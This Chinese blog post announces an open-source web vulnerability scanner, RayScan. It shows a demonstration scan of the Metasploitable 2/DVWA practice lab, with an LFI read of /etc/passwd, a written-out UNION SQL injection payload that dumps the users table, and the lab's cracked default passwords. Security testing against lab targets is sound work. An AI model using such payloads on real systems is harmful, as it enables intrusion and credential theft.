我开源了一个 Web 扫描器,在 Metasploitable 2 上发现了 83 个漏洞

项目 : RayScan --- 开箱即用的 Web 漏洞扫描器 实战报告 : 单目标 83 个漏洞,SQL 注入提取全部用户密码 技术栈: Python asyncio · 11 检测模块 · CLI + Web UI


为什么写这个工具

市面上的开源扫描器要么太重(配套数据库、消息队列),要么太老(多年不维护),要么只扫单一漏洞。

我想要的是一个 开箱即用、覆盖全面、还能看到实时扫描过程 的扫描器:

  • pip install 就能跑,不用配数据库
  • 命令行一行搞定,也有 Web 界面
  • 覆盖 OWASP Top 10 常见漏洞
  • 能看到扫描器在做什么,而不是黑盒等结果

于是有了 RayScan。

架构

bash 复制代码
wvs/                     ← 核心检测引擎
├── core/                ← 爬虫 + 扫描调度 + 去重
├── modules/             ← 11 个检测模块
│   ├── sqli/            ← SQL 注入(报错/布尔/时间/联合)
│   ├── xss/             ← 反射型/存储型/DOM 型
│   ├── lfi/             ← 文件包含 + 路径遍历
│   ├── cmdi/            ← 命令注入
│   ├── ssrf/xxe/rce/    ← 其他高危漏洞
│   └── api/sensitive/   ← API 安全 + 敏感信息
└── reporting/           ← HTML/JSON/Markdown 报告

web_ui/                  ← Web 可视化界面
├── app.py               ← Flask + SSE 实时日志
└── templates/

实战:扫 Metasploitable 2

我用 DVWA(Metasploitable 2)做完整验证:

ini 复制代码
RayScan 1.0.2 扫描目标: http://192.168.18.131
模块: sqli, cmdi, xss, lfi, rce, api, sensitive, xxe, ssrf
速率: 15 req/s

[*] Crawling...     49 pages, 96 endpoints, 9 forms
[+] DVWA login OK (admin:password)

[*] Phase 2/4: Running detectors...
  [sqli]      Found SQL injection in id parameter
  [sensitive] Found /phpinfo.php, /test/ exposed
  [lfi]       Found /etc/passwd via page= parameter
  [api]       Apache/2.2.8 version disclosure (80x)

✅ 83 vulnerabilities found

SQL 注入提取密码

最直接的成果:通过联合查询注入拿到 users 表全部数据:

sql 复制代码
-1' UNION SELECT 1,GROUP_CONCAT(user,0x3a,password) FROM users--

admin:5f4dcc3b5aa765d61d8327deb882cf99  →  password
gordonb:e99a18c428cb38d5f260853678922e03 →  abc123
1337:8d3533d75ae2c3966d7e0d4fcc69216b    →  charley
pablo:0d107d09f5bbe40cade3de5c71e9e9b7   →  letmein
smithy:5f4dcc3b5aa765d61d8327deb882cf99  →  password

5 个用户密码全部提取,MD5 可逆向。

两个使用方式

命令行(适合日常扫描)

bash 复制代码
git clone https://github.com/xiabai2004/RayScan
cd RayScan
pip install -e .

# 快速扫描
python -m wvs scan http://目标.com

# 仅扫特定模块
python -m wvs scan http://目标.com --modules sqli xss lfi

# 输出 JSON 报告
python -m wvs scan http://目标.com -o result.json -f json

Web UI(适合可视化操作)

bash 复制代码
pip install flask
cd web_ui && python app.py
# 浏览器打开 http://localhost:5000

Web UI 支持:

  • 深色/浅色主题一键切换
  • 实时日志流 --- 和 CLI 完全一致的输出
  • 发现漏洞即时显示在结果表
  • 响应式布局,手机也能看

实测表现

指标 数值
测试用例 316 个,全部通过
靶场验证 Metasploitable 2 / DVWA
发现漏洞 83 个(含 SQLi 注入提取数据)
单目标耗时 约 60 秒
支持协议 HTTP / HTTPS
报告格式 HTML / JSON / Markdown

下一步计划

  • Nuclei 模板集成
  • 爬虫性能优化(目前 50 URL/目标)
  • 更多靶场兼容性测试
  • CI/CD 流水线(已配置 GitHub Actions)

项目地址 : github.com/xiabai2004/...

如果觉得有用,欢迎 Star ⭐ 支持!有任何问题可以提 Issue 或直接讨论。

相关推荐
lpfasd1232 天前
2026年第38周GitHub趋势周报
python·科技·github
u1301302 天前
GitHub 热榜项目:日榜(2026-09-21)
人工智能·github
张洛闻Eren2 天前
k8s云原生【第十课】:水平 Pod 自动扩缩容
运维·数据库·云原生·kubernetes·github
m4Rk_2 天前
【论文阅读】Agent 记忆机制(77):TSM——让记忆回到事件真正发生的时间
论文阅读·人工智能·学习·开源·github
橘和柠2 天前
依赖冲突:装个包装崩了项目,怎么排查和救回来
github
别动我齐刘海2 天前
ROS2 Jazzy + C++ 实战路线——ros2_control
c++·人工智能·python·opencv·机器学习·机器人·github
怕浪猫2 天前
ZCode 开源了来看看这是个什么东西
node.js·github·代码规范
demo007x2 天前
我用 AI 做了一个跨平台的PopClip:拾趣Magpie
程序员·github·ai编程
miofly2 天前
GitHub 日榜趋势速报 | 2026-09-22
开源·github